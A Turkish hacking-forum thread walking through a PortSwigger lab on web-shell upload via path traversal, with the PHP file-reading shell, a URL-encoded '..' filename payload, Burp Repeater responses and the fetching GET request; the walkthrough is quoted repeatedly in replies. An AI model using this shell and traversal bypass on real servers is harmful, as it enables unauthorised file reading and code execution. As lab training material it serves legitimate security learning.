exploit paylaşım grubumuz: t.me/HTTPwnn

PortSwigger - Lab: Web shell upload via path traversal

Katılım
13 Haz 2026
Mesaj
104
Reaksiyon
66
Puan
28
Konum
Warnight
Website
hack-db.org
xentr_thread_starter
Selamlar arkadaş sırasıyla PortSwigger File Upload Lablarını paylaşmaya devam edicem gelin hemen başlayalım.
Bu labda bizden istedigi şey aslında yine /home/carlos/secret içindeki flagı yakalamka ama bu sefer düz upload ettigimzde dizin wn.php yi script olarak degil düz bir text parçası olarak çalıştırıyor onuda denicez şimdi.

Şimdi lab link aldık My account dedik ve giriş yaptık. Giriş Bilgileri wiener : peter

Karşımıza yeniden lanet olası İmage Upload Bölümü geldi.

1781638514840.png

Yine lanet olası wn.php dosyamız. Neydi peki bu wn.php ?
Kod:
<?php echo file_get_contents('/home/carlos/secret'); ?>

Kodu Anlayalım :
file_get_contents('/home/carlos/secret'); Belirtilen yoldaki dosyanın içerigini alır.
echo alınan içergi ekranan yazdırır.


Evet kodumuzu yine gördük ve kendimize geldik gelin şimdi upload işlemlerine başlayalıms.

İlk başta düz upload edicem ve alacagımız hataya bakalım canlar,

1781638806013.png

Yakaladıgımız istegin üstüne sağ tık yapalım ve "Send To Repeater" diyelim

Evet şimdi Repeater bölümüne girelim ve ilk başta düz filename="wn.php" şeklinde upload deneylim.

1781638964699.png

Babuş burrda Response bölümüne dikkatli bakarsanız göreceksiniz ki

The file avatars/wn.php has been uploaded

Yani diyorki dosyanı avatar/wn.php şeklinde kaydettim koş bak diyor bi seviniyorum ilk başta ama sonra sorunu hatırlıyorum, avatars dizininde .php dosyaları script olarak degil text olarak çalıştırılıyor.... (aşagıdaki görsel işte)

1781639185837.png

Peki ne yapcaz diye soracak olursanız bizde bu wn.php dosyasını bir üst dizine kayıt edicez, Peki ya nasıl ? Gelin Beraber Bakalım.

Biliyorsunuz ki normal şartlarda terminalde veya dosya sisteminde bir üst dizine çıkmak için hepimizin bildiği ../ komutunu kullanırız. Peki filename="../wn.php" yapmamız yetecekmi bakalım hemen.

Response :
HTTP/2 200 OK
Date: Tue, 16 Jun 2026 19:50:35 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 127

The file avatars/wn.php has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>

Görüyoruzki yine avatars/wn.php diye kaydetmiş peki nasıl aşıcaz bu durumu ?
Tabikide url encoding. Birazdan ne demek istedigimi daha iyi anlamış olucaksınız.
Url encoding de "../wn.php" yerine / karakterini encode edip / slash yerine %2 yazcaz. Senaryo şöyle olucak yani filename="..%2wn.php" şeklinde gönerdez istegi gelin bakalım hemen.
Response:
HTTP/2 200 OK
Date: Tue, 16 Jun 2026 19:28:19 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 130

The file avatars/../wn.php has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>


Görüyoruzki dosyamız şuan bir üst dizine kayıt edilmiş şimdi gelin GET istegi ile bakalım. (Gençler direk tarayıcıdan /files/wn.php toluna giderekte flag ı yakalayabilirsiniz ama amacımız Burp Suite alışmak)

Evet Direk Repeater da bulundugumuz Requests ölümündeki herşeyi silin ve ordan direk GET istegini atalım,

Requests :


GET /files/wn.php HTTP/2
Host: 0ad50000049fa59e8509a45c00ff001f.web-security-academy.net ( Siz buraya kendi lab ortamınızı yazacaksınız )

1781640591799.png

Görüyoruzki flagı yakaladık.

Daha yeni dedigim gibi istersek browserdan giripte alabiliriz.

1781640550081.png

Evet gençler bugünde bu kadardı , yine kolay bir labdı. Eğlenmek için konu açıyorum zaten takıldıgınız veya anlamadıgınız yer olursa yazın bakam. İyi forumlar...
 
Selamlar arkadaş sırasıyla PortSwigger File Upload Lablarını paylaşmaya devam edicem gelin hemen başlayalım.
Bu labda bizden istedigi şey aslında yine /home/carlos/secret içindeki flagı yakalamka ama bu sefer düz upload ettigimzde dizin wn.php yi script olarak degil düz bir text parçası olarak çalıştırıyor onuda denicez şimdi.

Şimdi lab link aldık My account dedik ve giriş yaptık. Giriş Bilgileri wiener : peter

Karşımıza yeniden lanet olası İmage Upload Bölümü geldi.

Ek dosyayı görüntüle: 60

Yine lanet olası wn.php dosyamız. Neydi peki bu wn.php ?
Kod:
<?php echo file_get_contents('/home/carlos/secret'); ?>

Kodu Anlayalım :
file_get_contents('/home/carlos/secret'); Belirtilen yoldaki dosyanın içerigini alır.
echo alınan içergi ekranan yazdırır.


Evet kodumuzu yine gördük ve kendimize geldik gelin şimdi upload işlemlerine başlayalıms.

İlk başta düz upload edicem ve alacagımız hataya bakalım canlar,

Ek dosyayı görüntüle: 61

Yakaladıgımız istegin üstüne sağ tık yapalım ve "Send To Repeater" diyelim

Evet şimdi Repeater bölümüne girelim ve ilk başta düz filename="wn.php" şeklinde upload deneylim.

Ek dosyayı görüntüle: 64

Babuş burrda Response bölümüne dikkatli bakarsanız göreceksiniz ki

The file avatars/wn.php has been uploaded

Yani diyorki dosyanı avatar/wn.php şeklinde kaydettim koş bak diyor bi seviniyorum ilk başta ama sonra sorunu hatırlıyorum, avatars dizininde .php dosyaları script olarak degil text olarak çalıştırılıyor.... (aşagıdaki görsel işte)

Ek dosyayı görüntüle: 66

Peki ne yapcaz diye soracak olursanız bizde bu wn.php dosyasını bir üst dizine kayıt edicez, Peki ya nasıl ? Gelin Beraber Bakalım.

Biliyorsunuz ki normal şartlarda terminalde veya dosya sisteminde bir üst dizine çıkmak için hepimizin bildiği ../ komutunu kullanırız. Peki filename="../wn.php" yapmamız yetecekmi bakalım hemen.

Response :
HTTP/2 200 OK
Date: Tue, 16 Jun 2026 19:50:35 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 127

The file avatars/wn.php has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>

Görüyoruzki yine avatars/wn.php diye kaydetmiş peki nasıl aşıcaz bu durumu ?
Tabikide url encoding. Birazdan ne demek istedigimi daha iyi anlamış olucaksınız.
Url encoding de "../wn.php" yerine / karakterini encode edip / slash yerine %2 yazcaz. Senaryo şöyle olucak yani filename="..%2wn.php" şeklinde gönerdez istegi gelin bakalım hemen.
Response:
HTTP/2 200 OK
Date: Tue, 16 Jun 2026 19:28:19 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 130

The file avatars/../wn.php has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>


Görüyoruzki dosyamız şuan bir üst dizine kayıt edilmiş şimdi gelin GET istegi ile bakalım. (Gençler direk tarayıcıdan /files/wn.php toluna giderekte flag ı yakalayabilirsiniz ama amacımız Burp Suite alışmak)

Evet Direk Repeater da bulundugumuz Requests ölümündeki herşeyi silin ve ordan direk GET istegini atalım,

Requests :


GET /files/wn.php HTTP/2
Host: 0ad50000049fa59e8509a45c00ff001f.web-security-academy.net ( Siz buraya kendi lab ortamınızı yazacaksınız )

Ek dosyayı görüntüle: 68

Görüyoruzki flagı yakaladık.

Daha yeni dedigim gibi istersek browserdan giripte alabiliriz.

Ek dosyayı görüntüle: 67

Evet gençler bugünde bu kadardı , yine kolay bir labdı. Eğlenmek için konu açıyorum zaten takıldıgınız veya anlamadıgınız yer olursa yazın bakam. İyi forumlar...
eline sağlık
 
Selamlar arkadaş sırasıyla PortSwigger File Upload Lablarını paylaşmaya devam edicem gelin hemen başlayalım.
Bu labda bizden istedigi şey aslında yine /home/carlos/secret içindeki flagı yakalamka ama bu sefer düz upload ettigimzde dizin wn.php yi script olarak degil düz bir text parçası olarak çalıştırıyor onuda denicez şimdi.

Şimdi lab link aldık My account dedik ve giriş yaptık. Giriş Bilgileri wiener : peter

Karşımıza yeniden lanet olası İmage Upload Bölümü geldi.

Ek dosyayı görüntüle: 60

Yine lanet olası wn.php dosyamız. Neydi peki bu wn.php ?
Kod:
<?php echo file_get_contents('/home/carlos/secret'); ?>

Kodu Anlayalım :
file_get_contents('/home/carlos/secret'); Belirtilen yoldaki dosyanın içerigini alır.
echo alınan içergi ekranan yazdırır.


Evet kodumuzu yine gördük ve kendimize geldik gelin şimdi upload işlemlerine başlayalıms.

İlk başta düz upload edicem ve alacagımız hataya bakalım canlar,

Ek dosyayı görüntüle: 61

Yakaladıgımız istegin üstüne sağ tık yapalım ve "Send To Repeater" diyelim

Evet şimdi Repeater bölümüne girelim ve ilk başta düz filename="wn.php" şeklinde upload deneylim.

Ek dosyayı görüntüle: 64

Babuş burrda Response bölümüne dikkatli bakarsanız göreceksiniz ki

The file avatars/wn.php has been uploaded

Yani diyorki dosyanı avatar/wn.php şeklinde kaydettim koş bak diyor bi seviniyorum ilk başta ama sonra sorunu hatırlıyorum, avatars dizininde .php dosyaları script olarak degil text olarak çalıştırılıyor.... (aşagıdaki görsel işte)

Ek dosyayı görüntüle: 66

Peki ne yapcaz diye soracak olursanız bizde bu wn.php dosyasını bir üst dizine kayıt edicez, Peki ya nasıl ? Gelin Beraber Bakalım.

Biliyorsunuz ki normal şartlarda terminalde veya dosya sisteminde bir üst dizine çıkmak için hepimizin bildiği ../ komutunu kullanırız. Peki filename="../wn.php" yapmamız yetecekmi bakalım hemen.

Response :
HTTP/2 200 OK
Date: Tue, 16 Jun 2026 19:50:35 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 127

The file avatars/wn.php has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>

Görüyoruzki yine avatars/wn.php diye kaydetmiş peki nasıl aşıcaz bu durumu ?
Tabikide url encoding. Birazdan ne demek istedigimi daha iyi anlamış olucaksınız.
Url encoding de "../wn.php" yerine / karakterini encode edip / slash yerine %2 yazcaz. Senaryo şöyle olucak yani filename="..%2wn.php" şeklinde gönerdez istegi gelin bakalım hemen.
Response:
HTTP/2 200 OK
Date: Tue, 16 Jun 2026 19:28:19 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 130

The file avatars/../wn.php has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>


Görüyoruzki dosyamız şuan bir üst dizine kayıt edilmiş şimdi gelin GET istegi ile bakalım. (Gençler direk tarayıcıdan /files/wn.php toluna giderekte flag ı yakalayabilirsiniz ama amacımız Burp Suite alışmak)

Evet Direk Repeater da bulundugumuz Requests ölümündeki herşeyi silin ve ordan direk GET istegini atalım,

Requests :


GET /files/wn.php HTTP/2
Host: 0ad50000049fa59e8509a45c00ff001f.web-security-academy.net ( Siz buraya kendi lab ortamınızı yazacaksınız )

Ek dosyayı görüntüle: 68

Görüyoruzki flagı yakaladık.

Daha yeni dedigim gibi istersek browserdan giripte alabiliriz.

Ek dosyayı görüntüle: 67

Evet gençler bugünde bu kadardı , yine kolay bir labdı. Eğlenmek için konu açıyorum zaten takıldıgınız veya anlamadıgınız yer olursa yazın bakam. İyi forumlar...
ellerine saglık aga
 
Selamlar arkadaş sırasıyla PortSwigger File Upload Lablarını paylaşmaya devam edicem gelin hemen başlayalım.
Bu labda bizden istedigi şey aslında yine /home/carlos/secret içindeki flagı yakalamka ama bu sefer düz upload ettigimzde dizin wn.php yi script olarak degil düz bir text parçası olarak çalıştırıyor onuda denicez şimdi.

Şimdi lab link aldık My account dedik ve giriş yaptık. Giriş Bilgileri wiener : peter

Karşımıza yeniden lanet olası İmage Upload Bölümü geldi.

Ek dosyayı görüntüle: 60

Yine lanet olası wn.php dosyamız. Neydi peki bu wn.php ?
Kod:
<?php echo file_get_contents('/home/carlos/secret'); ?>

Kodu Anlayalım :
file_get_contents('/home/carlos/secret'); Belirtilen yoldaki dosyanın içerigini alır.
echo alınan içergi ekranan yazdırır.


Evet kodumuzu yine gördük ve kendimize geldik gelin şimdi upload işlemlerine başlayalıms.

İlk başta düz upload edicem ve alacagımız hataya bakalım canlar,

Ek dosyayı görüntüle: 61

Yakaladıgımız istegin üstüne sağ tık yapalım ve "Send To Repeater" diyelim

Evet şimdi Repeater bölümüne girelim ve ilk başta düz filename="wn.php" şeklinde upload deneylim.

Ek dosyayı görüntüle: 64

Babuş burrda Response bölümüne dikkatli bakarsanız göreceksiniz ki

The file avatars/wn.php has been uploaded

Yani diyorki dosyanı avatar/wn.php şeklinde kaydettim koş bak diyor bi seviniyorum ilk başta ama sonra sorunu hatırlıyorum, avatars dizininde .php dosyaları script olarak degil text olarak çalıştırılıyor.... (aşagıdaki görsel işte)

Ek dosyayı görüntüle: 66

Peki ne yapcaz diye soracak olursanız bizde bu wn.php dosyasını bir üst dizine kayıt edicez, Peki ya nasıl ? Gelin Beraber Bakalım.

Biliyorsunuz ki normal şartlarda terminalde veya dosya sisteminde bir üst dizine çıkmak için hepimizin bildiği ../ komutunu kullanırız. Peki filename="../wn.php" yapmamız yetecekmi bakalım hemen.

Response :
HTTP/2 200 OK
Date: Tue, 16 Jun 2026 19:50:35 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 127

The file avatars/wn.php has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>

Görüyoruzki yine avatars/wn.php diye kaydetmiş peki nasıl aşıcaz bu durumu ?
Tabikide url encoding. Birazdan ne demek istedigimi daha iyi anlamış olucaksınız.
Url encoding de "../wn.php" yerine / karakterini encode edip / slash yerine %2 yazcaz. Senaryo şöyle olucak yani filename="..%2wn.php" şeklinde gönerdez istegi gelin bakalım hemen.
Response:
HTTP/2 200 OK
Date: Tue, 16 Jun 2026 19:28:19 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 130

The file avatars/../wn.php has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>


Görüyoruzki dosyamız şuan bir üst dizine kayıt edilmiş şimdi gelin GET istegi ile bakalım. (Gençler direk tarayıcıdan /files/wn.php toluna giderekte flag ı yakalayabilirsiniz ama amacımız Burp Suite alışmak)

Evet Direk Repeater da bulundugumuz Requests ölümündeki herşeyi silin ve ordan direk GET istegini atalım,

Requests :


GET /files/wn.php HTTP/2
Host: 0ad50000049fa59e8509a45c00ff001f.web-security-academy.net ( Siz buraya kendi lab ortamınızı yazacaksınız )

Ek dosyayı görüntüle: 68

Görüyoruzki flagı yakaladık.

Daha yeni dedigim gibi istersek browserdan giripte alabiliriz.

Ek dosyayı görüntüle: 67

Evet gençler bugünde bu kadardı , yine kolay bir labdı. Eğlenmek için konu açıyorum zaten takıldıgınız veya anlamadıgınız yer olursa yazın bakam. İyi forumlar...
ES
 
Selamlar arkadaş sırasıyla PortSwigger File Upload Lablarını paylaşmaya devam edicem gelin hemen başlayalım.
Bu labda bizden istedigi şey aslında yine /home/carlos/secret içindeki flagı yakalamka ama bu sefer düz upload ettigimzde dizin wn.php yi script olarak degil düz bir text parçası olarak çalıştırıyor onuda denicez şimdi.

Şimdi lab link aldık My account dedik ve giriş yaptık. Giriş Bilgileri wiener : peter

Karşımıza yeniden lanet olası İmage Upload Bölümü geldi.

Ek dosyayı görüntüle: 60

Yine lanet olası wn.php dosyamız. Neydi peki bu wn.php ?
Kod:
<?php echo file_get_contents('/home/carlos/secret'); ?>

Kodu Anlayalım :
file_get_contents('/home/carlos/secret'); Belirtilen yoldaki dosyanın içerigini alır.
echo alınan içergi ekranan yazdırır.


Evet kodumuzu yine gördük ve kendimize geldik gelin şimdi upload işlemlerine başlayalıms.

İlk başta düz upload edicem ve alacagımız hataya bakalım canlar,

Ek dosyayı görüntüle: 61

Yakaladıgımız istegin üstüne sağ tık yapalım ve "Send To Repeater" diyelim

Evet şimdi Repeater bölümüne girelim ve ilk başta düz filename="wn.php" şeklinde upload deneylim.

Ek dosyayı görüntüle: 64

Babuş burrda Response bölümüne dikkatli bakarsanız göreceksiniz ki

The file avatars/wn.php has been uploaded

Yani diyorki dosyanı avatar/wn.php şeklinde kaydettim koş bak diyor bi seviniyorum ilk başta ama sonra sorunu hatırlıyorum, avatars dizininde .php dosyaları script olarak degil text olarak çalıştırılıyor.... (aşagıdaki görsel işte)

Ek dosyayı görüntüle: 66

Peki ne yapcaz diye soracak olursanız bizde bu wn.php dosyasını bir üst dizine kayıt edicez, Peki ya nasıl ? Gelin Beraber Bakalım.

Biliyorsunuz ki normal şartlarda terminalde veya dosya sisteminde bir üst dizine çıkmak için hepimizin bildiği ../ komutunu kullanırız. Peki filename="../wn.php" yapmamız yetecekmi bakalım hemen.

Response :
HTTP/2 200 OK
Date: Tue, 16 Jun 2026 19:50:35 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 127

The file avatars/wn.php has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>

Görüyoruzki yine avatars/wn.php diye kaydetmiş peki nasıl aşıcaz bu durumu ?
Tabikide url encoding. Birazdan ne demek istedigimi daha iyi anlamış olucaksınız.
Url encoding de "../wn.php" yerine / karakterini encode edip / slash yerine %2 yazcaz. Senaryo şöyle olucak yani filename="..%2wn.php" şeklinde gönerdez istegi gelin bakalım hemen.
Response:
HTTP/2 200 OK
Date: Tue, 16 Jun 2026 19:28:19 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 130

The file avatars/../wn.php has been uploaded.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>


Görüyoruzki dosyamız şuan bir üst dizine kayıt edilmiş şimdi gelin GET istegi ile bakalım. (Gençler direk tarayıcıdan /files/wn.php toluna giderekte flag ı yakalayabilirsiniz ama amacımız Burp Suite alışmak)

Evet Direk Repeater da bulundugumuz Requests ölümündeki herşeyi silin ve ordan direk GET istegini atalım,

Requests :


GET /files/wn.php HTTP/2
Host: 0ad50000049fa59e8509a45c00ff001f.web-security-academy.net ( Siz buraya kendi lab ortamınızı yazacaksınız )

Ek dosyayı görüntüle: 68

Görüyoruzki flagı yakaladık.

Daha yeni dedigim gibi istersek browserdan giripte alabiliriz.

Ek dosyayı görüntüle: 67

Evet gençler bugünde bu kadardı , yine kolay bir labdı. Eğlenmek için konu açıyorum zaten takıldıgınız veya anlamadıgınız yer olursa yazın bakam. İyi forumlar...
es
 
Geri
En Üst